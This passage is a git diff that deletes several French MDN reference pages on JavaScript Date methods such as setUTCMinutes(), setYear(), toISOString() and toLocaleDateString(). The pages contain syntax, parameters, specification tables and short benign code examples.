Si les paramètres valeurMinutes, valeurSecondes et valeurMs ne sont pas renseignés, les valeurs renvoyées par les méthodes {{jsxref("Date.prototype.getUTCMinutes", "getUTCMinutes()")}}, {{jsxref("Date.prototype.getUTCSeconds", "getUTCSeconds()")}}, et {{jsxref("Date.prototype.getUTCMilliseconds", "getUTCMilliseconds()")}} seront utilisées.

- -

Si un des paramètres renseignés est en dehors des limites attendues, setUTCHours() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise la valeur 100 pour valeurSecondes, les minutes seront incrémentées de 1 (min + 1), et 40 sera utilisé pour les secondes.

- -

Exemples

- -

Utiliser setUTCHours()

- -
var leGrandJour = new Date();
-leGrandJour.setUTCHours(8);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.35', 'Date.prototype.setUTCHours')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setUTCHours")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCHours()")}}
    • -
  • {{jsxref("Date.prototype.setHours()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutcmilliseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutcmilliseconds/index.html deleted file mode 100644 index 6699e1faa8..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setutcmilliseconds/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Date.prototype.setUTCMilliseconds() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCMilliseconds -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds ---- -
{{JSRef}}
- -

La méthode setUTCMilliseconds() définit les millièmes de secondes pour la date, selon UTC.

- -
{{EmbedInteractiveExample("pages/js/date-setutcmilliseconds.html")}}
- - - -

Syntaxe

- -
dateObj.setUTCMilliseconds(valeurMs)
- -

Paramètres

- -
-
valeurMs
-
Un entier entre 0 et 999, représentant les millièmes de secondes.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

- -

Description

- -

Si le paramètre indiqué est en dehors des limites attendues, la date sera mise à jour en conséquence. Par exemple, si on utilise la valeur 1005, le nombre des secondes sera incrémenté de 1, et 5 sera utilisé pour les millièmes de secondes.

- -

Exemples

- -

Utiliser setUTCMilliseconds()

- -
var leGrandJour = new Date();
-leGrandJour.setUTCMilliseconds(500);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.29', 'Date.prototype.setUTCMilliseconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setUTCMilliseconds")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCMilliseconds()")}}
    • -
  • {{jsxref("Date.prototype.setMilliseconds()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutcminutes/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutcminutes/index.html deleted file mode 100644 index 40ce14225b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setutcminutes/index.html +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Date.prototype.setUTCMinutes() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCMinutes -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes ---- -
{{JSRef}}
- -

La méthode setUTCMinutes() définit les minutes pour la date, selon UTC.

- -
{{EmbedInteractiveExample("pages/js/date-setutcminutes.html")}}
- - - -

Syntaxe

- -
dateObj.setUTCMinutes(valeurMinutes[, valeurSecondes[, valeurMs]])
- -

Paramètres

- -
-
valeurMinutes
-
Un entier entre 0 et 59, représentant les minutes.
-
valeurSecondes
-
Paramètre optionnel, un entier entre 0 et 59, représentant les secondes. Si ce paramètre est utilisé, il faut également utiliser valeurMinutes.
-
- -
-
valeurMs
-
Paramètre optionnel, un nombre entre 0 et 999, représentant les millièmes de secondes. Si ce paramètre est utilisé, il faut aussi indiquer valeurMinutes et valeurSecondes.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

- -

Description

- -

Si les paramètres valeurSecondes et valeurMs ne sont pas utilisés, les valeurs renvoyées par les méthodes {{jsxref("Date.prototype.getUTCSeconds", "getUTCSeconds()")}} et {{jsxref("Date.prototype.getUTCMilliseconds", "getUTCMilliseconds()")}} seront utilisées.

- -

Si un paramètre est en dehors des limites attendues, setUTCMinutes() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise 100 pour valeurSecondes, les minutes (valeurMinutes) seront incrémentées de 1 (valeurMinutes + 1), et 40 sera utilisé pour les secondes.

- -

Exemples

- -

Utiliser setUTCMinutes()

- -
var leGrandJour = new Date();
-leGrandJour.setUTCMinutes(43);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.33', 'Date.prototype.setUTCMinutes')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setUTCMinutes")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCMinutes()")}}
    • -
  • {{jsxref("Date.prototype.setMinutes()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutcmonth/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutcmonth/index.html deleted file mode 100644 index 90132c3347..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setutcmonth/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Date.prototype.setUTCMonth() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCMonth -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth ---- -
{{JSRef}}
- -

La méthode setUTCMonth() définit le mois de la date, selon UTC.

- -
{{EmbedInteractiveExample("pages/js/date-setutcmonth.html")}}
- - - -

Syntaxe

- -
dateObj.setUTCMonth(valeurMois[, valeurJour])
- -

Paramètres

- -
-
valeurMois
-
Un entier entre 0 et 11, représentant les mois de Janvier à Décembre.
-
valeurJour
-
Paramètre optionnel, un entier entre 1 et 31, représentant le jour du mois.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

- -

Description

- -

Si le paramètre valeurJour n'est pas utilisé, la valeur renvoyée par la méthode {{jsxref("Date.prototype.getUTCDate", "getUTCDate()")}} sera utilisée.

- -

Si un paramètre renseigné n'est pas dans l'intervalle attendues, setUTCMonth() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise 15 pour valeurMois, l'année sera incrémentée de 1 (année + 1), et 3 sera utilisé pour le mois.

- -

Exemples

- -

Utiliser setUTCMonth()

- -
var leGrandJour = new Date();
-leGrandJour.setUTCMonth(11);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.39', 'Date.prototype.setUTCMonth')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setUTCMonth")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCMonth()")}}
    • -
  • {{jsxref("Date.prototype.setMonth()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutcseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutcseconds/index.html deleted file mode 100644 index a616281d12..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setutcseconds/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Date.prototype.setUTCSeconds() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCSeconds -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds ---- -
{{JSRef}}
- -

La méthode setUTCSeconds() définit les secondes pour la date, selon UTC.

- -
{{EmbedInteractiveExample("pages/js/date-setutcseconds.html")}}
- - - -

Syntaxe

- -
dateObj.setUTCSeconds(valeurSecondes[, valeurMs])
- -

Paramètres

- -
-
valeurSecondes
-
Un entier entre 0 et 59.
-
valeurMs
-
Paramètre optionnel, un nombre entre 0 et 999, représentant les millièmes de secondes.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

- -

Description

- -

Si le paramètre valeurMs n'est pas utilisée, la valeur renvoyée par la méthode {{jsxref("Date.prototype.getUTCMilliseconds", "getUTCMilliseconds()")}} sera utilisée.

- -

Si un paramètre renseigné est en dehors de l'intervalle attendu, setUTCSeconds() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise 100 pour valeurSecondes, les minutes de la date seront incrémentées de 1, et 40 sera utilisé pour les secondes.

- -

Exemples

- -

Utiliser setUTCSeconds()

- -
var leGrandJour = new Date();
-leGrandJour.setUTCSeconds(20);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.31', 'Date.prototype.setUTCSeconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setUTCSeconds")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCSeconds()")}}
    • -
  • {{jsxref("Date.prototype.setSeconds()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setyear/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setyear/index.html deleted file mode 100644 index d3f6283cab..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setyear/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Date.prototype.setYear() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setYear -tags: - - Date - - Déprécié - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setYear ---- -
{{JSRef}} {{deprecated_header}}
- -

La méthode setYear() définit l'année pour pour la date, selon l'heure locale. setYear() ne définissant pas des années complêtes ( « bug de l'an 2000 » ), elle n'est plus utilisée et a été remplacée par la méthode {{jsxref("Date.prototype.setFullYear", "setFullYear")}}.

- -

Syntaxe

- -
dateObj.setYear(valeurAnnée)
- -

Paramètres

- -
-
valeurAnnée
-
Un entier.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

- -

Description

- -

Si valeurAnnée est un nombre entre 0 et 99 (inclus), alors l'année de dateObj sera définie à 1900 + valeurAnnée. Sinon, l'année de dateObj sera définie à valeurAnnée.

- -

Exemples

- -

Utiliser setYear()

- -

Les deux premières instructions définissent l'année 1996. La troisième définit l'année 2000.

- -
var leGrandJour = new Date();
-
-leGrandJour.setYear(96);
-leGrandJour.setYear(1996);
-leGrandJour.setYear(2000);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-B.2.5', 'Date.prototype.setYear')}}{{Spec2('ES5.1')}}Définie dans l'annexe informative sur la compatibilité.
{{SpecName('ES6', '#sec-date.prototype.setyear', 'Date.prototype.setYear')}}{{Spec2('ES6')}}Définie dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.
{{SpecName('ESDraft', '#sec-date.prototype.setyear', 'Date.prototype.setYear')}}{{Spec2('ESDraft')}}Définie dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setYear")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getFullYear()")}}
    • -
  • {{jsxref("Date.prototype.getUTCFullYear()")}}
    • -
  • {{jsxref("Date.prototype.setFullYear()")}}
    • -
  • {{jsxref("Date.prototype.setUTCFullYear()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/todatestring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/todatestring/index.html deleted file mode 100644 index 403f48bada..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/todatestring/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Date.prototype.toDateString() -slug: Web/JavaScript/Reference/Objets_globaux/Date/toDateString -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toDateString ---- -
{{JSRef}}
- -

La méthode toDateString() renvoie la date contenue dans un objet {{jsxref("Date")}} sous la forme d'une chaîne de caractères lisible par un humain, en anglais américain et au format suivant :

- -
    -
  1. Les trois premières lettre indiquent le jour
    2. -
  2. Les trois lettres suivantes indiquent le mois
    3. -
  3. Les deux chiffres suivants indiquent le jour du mois (et sont complétés avec un 0 devant si besoin)
    4. -
  4. Les quatre chiffres restants indiquent l'année (si besoin complétées avec des 0 comme préfixe)
    5. -
- -
{{EmbedInteractiveExample("pages/js/date-todatestring.html")}}
- - - -

Syntaxe

- -
dateObj.toDateString()
- -

Valeur de retour

- -

Une chaîne de caractères qui représente la date indiquée, dans un format anglais américain.

- -

Description

- -

Les instances de {{jsxref("Date")}} représentent un point précis dans le temps. Appeler {{jsxref("Date.prototype.toString", "toString")}} retournera la date formatée sous une forme lisible par un humain, en anglais américain. Pour le moteur JavaScript SpiderMonkey, ceci consiste en : la partie « date » (jour, mois et année) suivie de la partie « heure » (heures, minutes, secondes et fuseau horaire). Il est parfois préférable d'obtenir uniquement la partie « date » ; ceci est possible grâce à la méthode toDateString().

- -

La méthode toDateString() est particulièrement utile car, pour les moteurs implémentant fidèlement ECMA-262, il peut y avoir certaines différences dans la chaîne de caractères produite par toString() sur les objets Date. Le format dépend de l'implémentation et les techniques simples de découpage de texte peuvent ne pas produire un résultat cohérent à travers les différents moteurs.

- -

Exemples

- -

Utiliser simplement toDateString()

- -
var d = new Date(1993, 6, 28, 14, 39, 7);
-
-console.log(d.toString());     // écrit Wed Jul 28 1993 14:39:07 GMT-0600 (PDT)
-console.log(d.toDateString()); // écrit Wed Jul 28 1993
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.9.5.3', 'Date.prototype.toDateString')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.toDateString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • -
  • {{jsxref("Date.prototype.toTimeString()")}}
    • -
  • {{jsxref("Date.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/togmtstring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/togmtstring/index.html deleted file mode 100644 index 23b9d6d054..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/togmtstring/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Date.prototype.toGMTString() -slug: Web/JavaScript/Reference/Objets_globaux/Date/toGMTString -tags: - - Date - - Déprécié - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toGMTString ---- -
{{JSRef}} {{deprecated_header}}
- -

La méthode toGMTString() convertit une date en une chaîne de caractères, en utilisant les conventions Internet pour GMT. Le format exact de la valeur renvoyée par toGMTString() varie en fonction de la plateforme et du navigateur web. En général, le texte produit est formaté pour être lisible par un humain.

- -
-

Note : toGMTString() est obsolète et ne doit plus être utilisé. Il existe encore uniquementpour des questions de compatibilité. La méthode {{jsxref("Date.prototype.toUTCString", "toUTCString()")}} doit être utilisée à la place.

-
- -

Syntaxe

- -
dateObj.toGMTString()
- -

Valeur de retour

- -

Une chaîne de caractères représentant la date indiquée selon la convention internet pour GMT (Greenwich Mean Time).

- -

Exemples

- -

Utiliser toGMTString()

- -

Dans cet exemple, la méthode toGMTString() convertit la date vers GMT (UTC) en utilisant la différence avec le fuseau horaire du système d'exploitation. Elle renvoie une chaîne de caractères similaire à celle de l'exemple. La forme exacte de cette chaîne de caractères dépend de la plateforme.

- -
var aujourdhui = new Date();
-var str = aujourdhui.toGMTString();  // Obsolète ! Utilisez toUTCString()
-
-console.log(str);               // Mon, 18 Dec 1995 17:28:35 GMT
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale et déjà déclarée comme dépréciée. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-B.2.6', 'Date.prototype.toGMTString')}}{{Spec2('ES5.1')}}Définie dans l'annexe informative sur la compatibilité.
{{SpecName('ES6', '#sec-date.prototype.togmtstring', 'Date.prototype.toGMTString')}}{{Spec2('ES6')}}Définie dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.
{{SpecName('ESDraft', '#sec-date.prototype.togmtstring', 'Date.prototype.toGMTString')}}{{Spec2('ESDraft')}}Définie dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.toGMTString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • -
  • {{jsxref("Date.prototype.toTimeString()")}}
    • -
  • {{jsxref("Date.prototype.toUTCString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/toisostring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/toisostring/index.html deleted file mode 100644 index f398d25340..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/toisostring/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Date.prototype.toISOString() -slug: Web/JavaScript/Reference/Objets_globaux/Date/toISOString -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toISOString ---- -
{{JSRef}}
- -

La méthode toISOString() renvoie une chaîne de caractères au format ISO (ISO 8601 Extended Format), qui peut être décrite de cette façon : YYYY-MM-DDTHH:mm:ss.sssZ (toujours longue de 24 caractères) ou de cette façon ±YYYYYY-MM-DDTHH:mm:ss.sssZ (27 caractères). Le fuseau horaire est toujours UTC, comme l'indique le suffixe « Z » (pour zéro décalage avec UTC).

- -
{{EmbedInteractiveExample("pages/js/date-toisostring.html")}}
- - - -

Syntaxe

- -
dateObj.toISOString()
- -

Valeur de retour

- -

Une chaîne de caractères représentant la date indiquée au format ISO 8601 selon le temps universel.

- -

Exemples

- -

Utiliser toISOString()

- -
var aujourdhui = new Date("05 October 2011 14:48 UTC");
-
-console.log(aujourdhui.toISOString()); // Renvoie "2011-10-05T14:48:00.000Z"
-
- -

L'exemple ci-dessus analyse une chaîne de caractères non-standard, qui peut donc être incorrectement intérprété par des navigateurs n'utilisant pas Gecko.

- -

Prothèse d'émulation (polyfill)

- -

Cette méthode fut standardisée avec la cinquième édition d'ECMAScript. Afin d'utiliser cette méthode avec les moteurs qui n'en disposent pas nativement, on pourra utiliser ce fragment de code :

- -
if ( !Date.prototype.toISOString ) {
-  ( function() {
-
-    function pad(number) {
-      if ( number < 10 ) {
-        return '0' + number;
-      }
-      return number;
-    }
-
-    Date.prototype.toISOString = function() {
-      return this.getUTCFullYear() +
-        '-' + pad( this.getUTCMonth() + 1 ) +
-        '-' + pad( this.getUTCDate() ) +
-        'T' + pad( this.getUTCHours() ) +
-        ':' + pad( this.getUTCMinutes() ) +
-        ':' + pad( this.getUTCSeconds() ) +
-        '.' + (this.getUTCMilliseconds() / 1000).toFixed(3).slice(2, 5) +
-        'Z';
-    };
-
-  }() );
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.9.5.43', 'Date.prototype.toISOString')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.
{{SpecName('ES6', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.toISOString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • -
  • {{jsxref("Date.prototype.toTimeString()")}}
    • -
  • {{jsxref("Date.prototype.toUTCString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tojson/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tojson/index.html deleted file mode 100644 index 0f2b0c7bc7..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/tojson/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Date.prototype.toJSON() -slug: Web/JavaScript/Reference/Objets_globaux/Date/toJSON -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toJSON ---- -
{{JSRef}}
- -

La méthode toJSON() renvoie une chaîne représentant l'objet {{jsxref("Date")}} sous forme {{Glossary("JSON")}}

- -
{{EmbedInteractiveExample("pages/js/date-tojson.html")}}
- - - -

Syntaxe

- -
dateObj.toJSON()
- -

Valeur de retour

- -

Une chaîne de caractères représentant la date indiquée.

- -

Description

- -

Les instances de {{jsxref("Date")}} identifient un instant précis dans le temps. Appeler toJSON() renvoie une chaîne de caractères formatée en JSON (en utilisant {{jsxref("Date.prototype.toISOString", "toISOString()")}}), représentant la valeur de l'objet Date. Cette méthode est généralement utilisée, par défaut, pour sérialiser les objets Date lors d'une sérialisation au format JSON.

- -

Exemple

- -

Utiliser toJSON()

- -
var jsonDate = (new Date()).toJSON();
-var retourVersDate = new Date(jsonDate);
-
-console.log(jsonDate); //2015-10-26T07:46:36.611Z
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.9.5.44', 'Date.prototype.toJSON')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES6', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.toJSON")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • -
  • {{jsxref("Date.prototype.toTimeString()")}}
    • -
  • {{jsxref("Date.prototype.toUTCString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tolocaledatestring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tolocaledatestring/index.html deleted file mode 100644 index b56487fe29..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/tolocaledatestring/index.html +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: Date.prototype.toLocaleDateString() -slug: Web/JavaScript/Reference/Objets_globaux/Date/toLocaleDateString -tags: - - Date - - Internationalisation - - JavaScript - - Méthode - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString ---- -
{{JSRef}}
- -

La méthode toLocaleDateString() renvoie une chaine de caractères correspondant à la date (le fragment de l'objet qui correspond à la date : jour, mois, année) exprimée selon une locale. Les arguments locales et options permettent aux applications de définir le langage utilisé pour les conventions de format et permettent de personnaliser le comportement de la fonction. Les anciennes implémentations ignorent ces arguments, la locale utilisée et le format de la chaine dépendent uniquement de l'implémentation.

- -
{{EmbedInteractiveExample("pages/js/date-tolocaledatestring.html")}}
- - - -

Syntaxe

- -
dateObj.toLocaleDateString([locales [, options]])
- -

Paramètres

- -

Voir le tableau de compatibilité des navigateurs afin de déterminer quels navigateurs respectent les arguments locales et options ainsi que l'exemple Vérifier le support des arguments locales et options qui permet de détecter cette fonctionnalité.

- -

{{page('fr/docs/JavaScript/Reference/Objets_globaux/DateTimeFormat','Paramètres')}}

- -

La valeur par défaut de chacun des composants de la date vaut {{jsxref("undefined")}}, si les propriétés weekday, year, month, day sont toutes undefined, on suppose alors que year, month, et day sont « numériques ».

- -

Valeur de retour

- -

Une chaîne de caractères qui représente le jour de la date indiquée selon des options de locales.

- -

Exemples

- -

Utiliser toLocaleDateString()

- -

Voici un usage simple qui ne définit pas de locale : une chaine de caractères dans une locale et avec des options par défaut est renvoyée.

- -
var date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
-
-// toLocaleDateString() sans argument, on utilise donc
-// les valeurs par défaut (de l'implémentation)
-// pour la locale, et le fuseau horaire
-date.toLocaleDateString();
-// → "12/12/2012" si exécuté dans une locale fr et le fuseau horaire CEST
- -

Vérifier le support des arguments locales et options

- -

Les arguments locales et options ne sont pas encore supportés par tous les navigateurs. Afin de vérifier si l'implementation utilisée les supporte, vous pouvez utiliser le pré-requis suivant : les locales incorrectes sont rejetées avec une exception RangeError :

- -
function toLocaleDateStringSupportsLocales() {
-    try {
-        new Date().toLocaleDateString("i");
-    } catch (e) {
-        return e​.name === "RangeError";
-    }
-    return false;
-}
-
- -

Utiliser l'argument locales

- -

Cet exemple montre quelques variations dues aux formats de dates localisés. Afin d'obtenir le langage utilisé au sein de l'interface utilisateur de votre application, vérifiez de bien fournir ce langage (et éventuellement des locales de recours) en utilisant l'argument locales :

- -
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
-
-// les formats qui suivent se basent sur le
-// fuseau horaire CEST
-
-// l'anglais américain utilise l'ordre mois-jour-année
-alert(date.toLocaleDateString("en-US"));
-// → "12/20/2012"
-
-// l'anglais britannique utilise l'ordre jour-mois-année
-alert(date.toLocaleDateString("en-GB"));
-// → "20/12/2012"
-
-// le coréen utilise l'ordre année-mois-jour
-alert(date.toLocaleDateString("ko-KR"));
-// → "2012. 12. 20."
-
-// l'arabe, dans la plupart des pays arabophones, utilise les chiffres arabes
-alert(date.toLocaleDateString("ar-EG"));
-// → "٢٠‏/١٢‏/٢٠١٢"
-
-// en ce qui concerne le japonais, les applications peuvent
-// souhaiter utiliser le calendrier japonais
-// pour lequel 2012 était l'année 24 de l'ère Heisei
-alert(date.toLocaleDateString("ja-JP-u-ca-japanese"));
-// → "24/12/20"
-
-// quand un langage non support est demandé (ex : le balinais)
-// il est possible de fournir un langage de recours (ici l'indonésien)
-alert(date.toLocaleDateString(["ban", "id"]));
-// → "20/12/2012"
-
- -

Utiliser l'argument options

- -

Les résultats fournis par toLocaleDateString() peuvent être personnalisés grâce à l'argument options :

- -
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
-
-// fournir le jour de la semaine avec une date longe
-var options = {weekday: "long", year: "numeric", month: "long", day: "numeric"};
-alert(date.toLocaleDateString("de-DE", options));
-// → "Donnerstag, 20. Dezember 2012"
-
-// une application peut vouloir utiliser
-// UTC et l'afficher
-options.timeZone = "UTC";
-options.timeZoneName = "short";
